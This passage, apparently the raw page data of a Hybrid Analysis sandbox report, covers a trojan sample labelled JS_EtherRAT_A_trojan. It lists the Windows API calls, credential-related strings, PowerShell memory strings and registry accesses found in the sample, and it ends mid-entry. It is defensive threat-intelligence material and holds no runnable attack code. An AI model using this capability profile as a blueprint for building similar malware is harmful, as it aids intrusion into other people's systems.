26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 6b:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4d1,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious JS_EtherRAT_A_trojan Sample 4545b3c33093… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 4545b3c33093…. Malware family: JS_EtherRAT_A_trojan. Threat score 100/100. 2/27 AV engines flagged this file. 5 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c","keywords":["Malicious","JS_EtherRAT_A_trojan","malware analysis","sandbox report","threat intelligence","4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c"],"about":{"@type":"SoftwareApplication","name":"4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c","applicationCategory":["peexe","executable"],"identifier":"4545b3c3309358a657d4f48a441728bd2cddd2df22d05a21df973311fb91b00c","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"JS_EtherRAT_A_trojan","antivirusDetections":{"malicious":2,"total":27},"behavioralIndicators":{"malicious":5,"suspicious":13},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T4f35,Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteFileW"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileAttributesW"; Source: "sample.bin"), Found reference to API (Indicator: "InternetOpenW"; Source: "sample.bin"), Found reference to API (Indicator: "SeShutdownPrivilege"; Source: "sample.bin"), Found reference to API (Indicator: "GetExitCodeProcess"; Source: "sample.bin"), Found reference to API (Indicator: "RtlUnwind"; Source: "sample.bin"), Found reference to API (Indicator: "CryptHashPublicKeyInfo"; Source: "sample.bin"), Found reference to API (Indicator: "FlushFileBuffers"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileSizeEx"; Source: "sample.bin"), Found reference to API (Indicator: "SetEvent"; Source: "sample.bin"), Found reference to API (Indicator: "SetThreadExecutionState"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "ConnectNamedPipe"; Source: "sample.bin"), Found reference to API (Indicator: "CreateWindowExW"; Source: "sample.bin"), Found reference to API (Indicator: "DefWindowProcW"; Source: "sample.bin"), Found reference to API (Indicator: "RegDeleteKeyW"; Source: "sample.bin"), Found reference to API (Indicator: "CoInitializeEx"; Source: "sample.bin"), Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "sample.bin"), Found reference to API (Indicator: "SetEndOfFile"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryW"; Source: "sample.bin"), Found reference to API (Indicator: "IsWow64Process2"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalFree"; Source: "sample.bin"), Found reference to API (Indicator: "ConvertStringSecurityDescriptorToSecurityDescriptorW"; Source: "sample.bin"), Found reference to API (Indicator: "GetVolumePathNameW"; Source: "sample.bin"), Found reference to API (Indicator: "LCMapStringEx"; Source: "sample.bin"), Found reference to API (Indicator: "GetTimeZoneInformation"; Source: "sample.bin"), Found reference to API (Indicator: "TranslateMessage"; Source: "sample.bin"), Found reference to API (Indicator: "CryptHashData"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileVersionInfoSizeW"; Source: "sample.bin"), Found reference to API (Indicator: "UnregisterClassW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateThread"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeSecurityDescriptor"; Source: "sample.bin"), Found reference to API (Indicator: "ShellExecuteExW"; Source: "sample.bin"), Found reference to API (Indicator: "TlsGetValue"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleA"; Source: "sample.bin"), Found reference to API (Indicator: "CreateWellKnownSid"; Source: "sample.bin"), Found reference to API (Indicator: "CloseServiceHandle"; Source: "sample.bin"), Found reference to API (Indicator: "RegQueryValueExW"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleW"; Source: "sample.bin"), Found reference to API (Indicator: "DecryptFileW"; Source: "sample.bin"), Found reference to API (Indicator: "SetStdHandle"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcessId"; Source: "sample.bin"), Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "RegSetValueExW"; Source: "sample.bin"), Found reference to API (Indicator: "FormatMessageW"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileAttributesW"; Source: "sample.bin"), Found reference to API (Indicator: "RegOpenKeyExW"; Source: "sample.bin"), Found reference to API (Indicator: "GetStartupInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "HeapAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "HttpSendRequestW"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "FlsFree"; Source: "sample.bin"), Found reference to API (Indicator: "FlsAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "SHGetFolderPathW"; Source: "sample.bin"), Found reference to API (Indicator: "CopyFileExW"; Source: "sample.bin"), Found reference to API (Indicator: "RegDeleteKeyExW"; Source: "sample.bin"), Found reference to API (Indicator: "CommandLineToArgvW"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteDC"; Source: "sample.bin"), Found reference to API (Indicator: "HeapFree"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemInfo"; Source: "sample.bin"), Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "sample.bin"), Found reference to API (Indicator: "DispatchMessageW"; Source: "sample.bin"), Found reference to API (Indicator: "Wow64RevertWow64FsRedirection"; Source: "sample.bin"), Found reference to API (Indicator: "VerQueryValueW"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeSListHead"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteObject"; Source: "sample.bin"), Found reference to API (Indicator: "TlsSetValue"; Source: "sample.bin"), Found reference to API (Indicator: "RegEnumValueW"; Source: "sample.bin"), Found reference to API (Indicator: "SystemTimeToTzSpecificLocalTime"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "sample.bin"), Found reference to API (Indicator: "CryptCATAdminCalcHashFromFileHandle"; Source: "sample.bin"), Found reference to API (Indicator: "LookupPrivilegeValueW"; Source: "sample.bin"), Found reference to API (Indicator: "CoInitializeSecurity"; Source: "sample.bin"), Found reference to API (Indicator: "GetConsoleMode"; Source: "sample.bin"), Found reference to API (Indicator: "FindFirstFileW"; Source: "sample.bin"), Found reference to API (Indicator: "HttpQueryInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcessHeap"; Source: "sample.bin"), Found reference to API (Indicator: "CreateMutexW"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcAddress"; Source: "sample.bin"), Found reference to API (Indicator: "RaiseException"; Source: "sample.bin"), Found reference to API (Indicator: "FindFirstFileExW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFileW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFileA"; Source: "sample.bin"), Found reference to API (Indicator: "FlsGetValue"; Source: "sample.bin"), Found reference to API (Indicator: "ReleaseMutex"; Source: "sample.bin"), Found reference to API (Indicator: "CryptGetHashParam"; Source: "sample.bin"), Found reference to API (Indicator: "ReportEventW"; Source: "sample.bin"), Found reference to API (Indicator: "CryptUnprotectMemory"; Source: "sample.bin"), Found reference to API (Indicator: "GlobalAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "CheckTokenMembership"; Source: "sample.bin"), Found reference to API (Indicator: "GetProcessId"; Source: "sample.bin"), Found reference to API (Indicator: "IsWow64Process"; Source: "sample.bin"), Found reference to API (Indicator: "SetFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "CryptCreateHash"; Source: "sample.bin"), Found reference to API (Indicator: "EncodePointer"; Source: "sample.bin"), Found reference to API (Indicator: "GetTempPathW"; Source: "sample.bin"), Found reference to API (Indicator: "RegCloseKey"; Source: "sample.bin"), Found reference to API (Indicator: "LeaveCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "OpenEventLogW"; Source: "sample.bin"), Found reference to API (Indicator: "EnterCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "GetTokenInformation"; Source: "sample.bin"), Found reference to API (Indicator: "RemoveDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "WideCharToMultiByte"; Source: "sample.bin"), Found reference to API (Indicator: "ResetEvent"; Source: "sample.bin"), Found reference to API (Indicator: "LoadCursorW"; Source: "sample.bin"), Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "sample.bin"), Found reference to API (Indicator: "FindClose"; Source: "sample.bin"), Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "UnmapViewOfFile"; Source: "sample.bin"), Found reference to API (Indicator: "SetDefaultDllDirectories"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleHandleExW"; Source: "sample.bin"), Found reference to API (Indicator: "CoInitialize"; Source: "sample.bin"), Found reference to API (Indicator: "SetSecurityDescriptorGroup"; Source: "sample.bin"), Found reference to API (Indicator: "IsWindow"; Source: "sample.bin"), Found reference to API (Indicator: "LocaleNameToLCID"; Source: "sample.bin"), Found reference to API (Indicator: "InternetCloseHandle"; Source: "sample.bin"), Found reference to API (Indicator: "GetObjectW"; Source: "sample.bin"), Found reference to API (Indicator: "RegisterClassW"; Source: "sample.bin"), Found reference to API (Indicator: "SetCurrentDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualQuery"; Source: "sample.bin"), Found reference to API (Indicator: "InternetReadFile"; Source: "sample.bin"), Found reference to API (Indicator: "lstrlenA"; Source: "sample.bin"), Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "sample.bin"), Found reference to API (Indicator: "SetSecurityDescriptorDacl"; Source: "sample.bin"), Found reference to API (Indicator: "lstrlenW"; Source: "sample.bin"), Found reference to API (Indicator: "CreateCompatibleDC"; Source: "sample.bin"), Found reference to API (Indicator: "SetFilePointer"; Source: "sample.bin"), Found reference to API (Indicator: "CoTaskMemFree"; Source: "sample.bin"), Found reference to API (Indicator: "CryptReleaseContext"; Source: "sample.bin"), Found reference to API (Indicator: "GetACP"; Source: "sample.bin"), Found reference to API (Indicator: "StretchBlt"; Source: "sample.bin"), Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "sample.bin"), Found reference to API (Indicator: "Wow64DisableWow64FsRedirection"; Source: "sample.bin"), Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "DuplicateHandle"; Source: "sample.bin"), Found reference to API (Indicator: "GetUserDefaultLangID"; Source: "sample.bin"), Found reference to API (Indicator: "SelectObject"; Source: "sample.bin"), Found reference to API (Indicator: "IsValidCodePage"; Source: "sample.bin"), Found reference to API (Indicator: "DeleteCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "SetSecurityDescriptorOwner"; Source: "sample.bin"), Found reference to API (Indicator: "ExitProcess"; Source: "sample.bin"), Found reference to API (Indicator: "HeapSize"; Source: "sample.bin"), Found reference to API (Indicator: "CreateFileMappingW"; Source: "sample.bin"), Found reference to API (Indicator: "MapViewOfFile"; Source: "sample.bin"), Found reference to API (Indicator: "RegEnumKeyExW"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentThreadId"; Source: "sample.bin"), Found reference to API (Indicator: "SetEntriesInAclW"; Source: "sample.bin"), Found reference to API (Indicator: "SetEntriesInAclA"; Source: "sample.bin"), Found reference to API (Indicator: "MessageBoxW"; Source: "sample.bin"), Found reference to API (Indicator: "VerSetConditionMask"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileType"; Source: "sample.bin"), Found reference to API (Indicator: "InternetErrorDlg"; Source: "sample.bin"), Found reference to API (Indicator: "GetCPInfo"; Source: "sample.bin"), Found reference to API (Indicator: "GetModuleFileNameW"; Source: "sample.bin"), Found reference to API (Indicator: "IsDebuggerPresent"; Source: "sample.bin"), Found reference to API (Indicator: "GetCurrentProcess"; Source: "sample.bin"), Found reference to API (Indicator: "LocalFree"; Source: "sample.bin"), Found reference to API (Indicator: "DisplayVersion"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryExW"; Source: "sample.bin"), Found reference to API (Indicator: "CopyFileW"; Source: "sample.bin"), Found reference to API (Indicator: "QueryServiceConfigW"; Source: "sample.bin"), Found reference to API (Indicator: "TlsAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "HttpOpenRequestW"; Source: "sample.bin"), Found reference to API (Indicator: "LoadLibraryExA"; Source: "sample.bin"), Found reference to API (Indicator: "CryptDestroyHash"; Source: "sample.bin"), Found reference to API (Indicator: "PostQuitMessage"; Source: "sample.bin"), Found reference to API (Indicator: "OpenServiceW"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeCriticalSection"; Source: "sample.bin"), Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "sample.bin"), Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "sample.bin"), Found reference to API (Indicator: "RegDeleteValueW"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemTime"; Source: "sample.bin"), Found reference to API (Indicator: "GetExitCodeThread"; Source: "sample.bin"), Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "sample.bin"), Found reference to API (Indicator: "OpenProcess"; Source: "sample.bin"), Found reference to API (Indicator: "GetCursorPos"; Source: "sample.bin"), Found reference to API (Indicator: "GetFullPathNameW"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemWow64DirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "sample.bin"), Found reference to API (Indicator: "SetDllDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "HeapSetInformation"; Source: "sample.bin"), Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "sample.bin"), Found reference to API (Indicator: "InitializeAcl"; Source: "sample.bin"), Found reference to API (Indicator: "CoCreateInstance"; Source: "sample.bin"), Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "QueryServiceStatus"; Source: "sample.bin"), Found reference to API (Indicator: "GetThreadLocale"; Source: "sample.bin"), Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "sample.bin"), Found reference to API (Indicator: "StringFromGUID2"; Source: "sample.bin"), Found reference to API (Indicator: "TlsFree"; Source: "sample.bin"), Found reference to API (Indicator: "GetStdHandle"; Source: "sample.bin"), Found reference to API (Indicator: "CreateNamedPipeW"; Source: "sample.bin"), Found reference to API (Indicator: "GetVersionExW"; Source: "sample.bin"), Found reference to API (Indicator: "PeekMessageW"; Source: "sample.bin"), Found reference to API (Indicator: "CertGetCertificateContextProperty"; Source: "sample.bin"), Found reference to API (Indicator: "SetNamedPipeHandleState"; Source: "sample.bin"), Found reference to API (Indicator: "GetNativeSystemInfo"; Source: "sample.bin"), Found reference to API (Indicator: "ProcessIdToSessionId"; Source: "sample.bin"), Found reference to API (Indicator: "CreateEventW"; Source: "sample.bin"), Found reference to API (Indicator: "GetFileVersionInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "UuidCreate"; Source: "sample.bin"), Found reference to API (Indicator: "InternetConnectW"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualProtect"; Source: "sample.bin"), Found reference to API (Indicator: "PathCanonicalizeW"; Source: "sample.bin"), Found reference to API (Indicator: "ChangeServiceConfigW"; Source: "sample.bin"), Found reference to API (Indicator: "GetCommandLineA"; Source: "sample.bin"), Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "sample.bin"), Found reference to API (Indicator: "GetCommandLineW"; Source: "sample.bin"), Found reference to API (Indicator: "MoveFileExW"; Source: "sample.bin"), Found reference to API (Indicator: "CompareStringA"; Source: "sample.bin"), Found reference to API (Indicator: "CompareStringW"; Source: "sample.bin"), Found reference to API (Indicator: "WriteFile"; Source: "sample.bin"), Found reference to API (Indicator: "DecodePointer"; Source: "sample.bin"), Found reference to API (Indicator: "CreateProcessW"; Source: "sample.bin"), Found reference to API (Indicator: "FlsSetValue"; Source: "sample.bin"), Found reference to API (Indicator: "Sleep"; Source: "sample.bin"), Found reference to API (Indicator: "GetOEMCP"; Source: "sample.bin"), Found reference to API (Indicator: "TerminateProcess"; Source: "sample.bin"), Found reference to API (Indicator: "RegCreateKeyExW"; Source: "sample.bin"), Found reference to API (Indicator: "VirtualFree"; Source: "sample.bin"), Found reference to API (Indicator: "FreeLibrary"; Source: "sample.bin"), Found reference to API (Indicator: "CryptAcquireContextW"; Source: "sample.bin"), Found reference to API (Indicator: "GetUserNameW"; Source: "sample.bin"), Found reference to API (Indicator: "ReadFile"; Source: "sample.bin"), Found reference to API (Indicator: "LCMapStringW"; Source: "sample.bin"), Found reference to API (Indicator: "FindNextFileW"; Source: "sample.bin"), Found reference to API (Indicator: "OpenProcessToken"; Source: "sample.bin"), Found reference to API (Indicator: "SetFilePointerEx"; Source: "sample.bin"), Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "sample.bin"), Found reference to API (Indicator: "InternetCrackUrlW"; Source: "sample.bin"), Found reference to API (Indicator: "WriteConsoleW"; Source: "sample.bin"), Found reference to API (Indicator: "CryptProtectMemory"; Source: "sample.bin"), Found reference to API (Indicator: "CoUninitialize"; Source: "sample.bin"), Found reference to API (Indicator: "InternetSetOptionW"; Source: "sample.bin"), Found reference to API (Indicator: "GetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "RtlGetVersion"; Source: "sample.bin"), Found reference to API (Indicator: "ControlService"; Source: "sample.bin"), Found reference to API (Indicator: "GetDateFormatW"; Source: "sample.bin"), Found reference to API (Indicator: "MultiByteToWideChar"; Source: "sample.bin"), Found reference to API (Indicator: "HeapReAlloc"; Source: "sample.bin"), Found reference to API (Indicator: "CloseEventLog"; Source: "sample.bin"), Found reference to API (Indicator: "HttpAddRequestHeadersW"; Source: "sample.bin"), Found reference to API (Indicator: "GetStringTypeW"; Source: "sample.bin"), Found reference to API (Indicator: "GetWindowsDirectoryW"; Source: "sample.bin"), Found reference to API (Indicator: "SetLastError"; Source: "sample.bin"), Found reference to API (Indicator: "SetNamedSecurityInfoW"; Source: "sample.bin"), Found reference to API (Indicator: "GetTempFileNameW"; Source: "sample.bin"), Found reference to API (Indicator: "GetLocalTime"; Source: "sample.bin"), Found reference to API (Indicator: "GetComputerNameW"; Source: "sample.bin"), Found reference to API (Indicator: "WaitForSingleObject"; Source: "sample.bin"), Found reference to API (Indicator: "OpenSCManagerW"; Source: "sample.bin"), Found reference to API (Indicator: "CloseHandle"; Source: "sample.bin"), Found reference to API (Indicator: "WaitForMultipleObjects"; Source: "sample.bin"), Found reference to API (Indicator: "Wow64EnableWow64FsRedirection"; Source: "sample.bin")28:T492,Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; Source: "sample.bin"), Found reference to API "CreateWellKnownSid" (Indicator: "CreateWellKnownSid"; Source: "sample.bin"), Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "sample.bin"), Found reference to API "SetSecurityDescriptorGroup" (Indicator: "SetSecurityDescriptorGroup"; Source: "sample.bin"), Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; Source: "sample.bin"), Found reference to API "SetSecurityDescriptorOwner" (Indicator: "SetSecurityDescriptorOwner"; Source: "sample.bin"), Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; Source: "sample.bin"), Found reference to API "SetEntriesInAclA" (Indicator: "SetEntriesInAcl"; Source: "sample.bin"), Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "sample.bin"), Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "sample.bin"), Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "sample.bin")29:T415,Found string "Verification secret from parent is too big." (Indicator: "secret"; Source: "sample.bin"), Found string "Failed to write secret length to pipe." (Indicator: "secret"; Source: "sample.bin"), Found string "Failed to write secret to pipe." (Indicator: "secret"; Source: "sample.bin"), Found string "Failed to read verification secret from parent pipe." (Indicator: "secret"; Source: "sample.bin"), Found string "Failed to allocate pipe secret." (Indicator: "secret"; Source: "sample.bin"), Found string "Failed to set download password." (Indicator: "password"; Source: "sample.bin"), Found string "Failed to read size of verification secret from parent pipe." (Indicator: "secret"; Source: "sample.bin"), Found string "Failed to copy connection secret from command line." (Indicator: "secret"; Source: "sample.bin"), Found string "Verification secret from parent does not match." (Indicator: "secret"; Source: "sample.bin"), Found string "Failed to allocate buffer for verification secret." (Indicator: "secret"; Source: "sample.bin")2a:T465,Found reference to API "CryptHashPublicKeyInfo" (Indicator: "CryptHashPublicKeyInfo"; Source: "sample.bin"), Found reference to API "CryptHashData" (Indicator: "CryptHashData"; Source: "sample.bin"), Found reference to API "DecryptFileW" (Indicator: "DecryptFile"; Source: "sample.bin"), Found reference to API "CryptCATAdminCalcHashFromFileHandle" (Indicator: "CryptCATAdminCalcHashFromFileHandle"; Source: "sample.bin"), Found reference to API "CryptGetHashParam" (Indicator: "CryptGetHashParam"; Source: "sample.bin"), Found reference to API "CryptUnprotectMemory" (Indicator: "CryptUnprotectMemory"; Source: "sample.bin"), Found reference to API "CryptCreateHash" (Indicator: "CryptCreateHash"; Source: "sample.bin"), Found reference to API "CryptReleaseContext" (Indicator: "CryptReleaseContext"; Source: "sample.bin"), Found reference to API "CryptDestroyHash" (Indicator: "CryptDestroyHash"; Source: "sample.bin"), Found reference to API "CryptAcquireContextW" (Indicator: "CryptAcquireContext"; Source: "sample.bin"), Found reference to API "CryptProtectMemory" (Indicator: "CryptProtectMemory"; Source: "sample.bin")2b:T1085,Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp, 00000000-00005780.00000000.162098.6FBE0000.00000004.mdmp, 00000000-00005780.00000001.162312.55770000.00000004.mdmp, 00000000-00005780.00000001.162312.6FBE0000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00005780.00000000.162098.55770000.00000004.mdmp, 00000000-00005780.00000000.162098.57A10000.00000004.mdmp, 00000000-00005780.00000001.162312.55770000.00000004.mdmp") Found string "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "System.Management.Automation" (Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp, 00000000-00005780.00000000.162098.6FA10000.00000004.mdmp, 00000000-00005780.00000001.162312.6FA10000.00000004.mdmp") Found string "System.Management.Automation.resources" (Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "file:///C:/WINDOWS/Microsoft.Net/assembly/GAC_MSIL/System.Management.Automation/v4.0_3.0.0.0__31bf3856ad364e35/System.Management.Automation.dll" (Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "System.Management.Automation.resources, Version=3.0.0.0, Culture=en-US, PublicKeyToken=31bf3856ad364e35" (Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "return [System.Management.Automation.CommandCompletion]::CompleteInput($inputScript, $cursorColumn," (Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "[System.Management.Automation.Language.Ast] $ast," (Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "[System.Management.Automation.Language.Token[]] $tokens," (Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "[System.Management.Automation.Language.IScriptPosition] $positionOfCursor," (Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "return [System.Management.Automation.CommandCompletion]::CompleteInput(" (Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "# .ExternalHelp System.Management.Automation.dll-help.xml" (Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "[System.Management.Automation.PSCredential]" (Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "$wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('New-Item', [System.Management.Automation.CommandTypes]::Cmdlet)" (Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "$wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('Out-String',[System.Management.Automation.CommandTypes]::Cmdlet)" (Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=MSIL" (Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "C:\Windows\System32\WindowsPowerShell\v1.0\System.Management.Automation.dll" (Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "System.Management.Automation.dll-Help.xml" (Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" (Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "n\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00005780.00000000.162098.6FA10000.00000004.mdmp") Found string "System.Management.AutomationH" (Source: "00000000-00005780.00000000.162098.6FBE0000.00000004.mdmp") Found string "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" (Source: "00000000-00005780.00000001.162312.6FBE0000.00000004.mdmp")2c:T511,Found string "Format-Custom" (Indicator: "Format-Custom"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Format-List" (Indicator: "Format-List"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Format-Table" (Indicator: "Format-Table"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Format-Wide" (Indicator: "Format-Wide"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Convert-Path" (Indicator: "Convert-Path"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Export-Alias" (Indicator: "Export-Alias"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Export-Csv" (Indicator: "Export-Csv"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Export-ModuleMember" (Indicator: "Export-ModuleMember"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "Export-Console" (Indicator: "Export-Console"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp") Found string "file, use Export-Console in Windows PowerShell." (Indicator: "Export-Console"; Source: "00000000-00005780.00000000.162098.57A10000.00000004.mdmp")2d:T6ae,"cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CMD.EXE") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CONTROL PANEL\DESKTOP") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CONTROL PANEL\DESKTOP") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IME COMPATIBILITY") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\LANGUAGEOVERLAY\OVERLAYPACKAGES\EN-US") "cmd.exe" (Access type: "QUERYVAL"; Path: 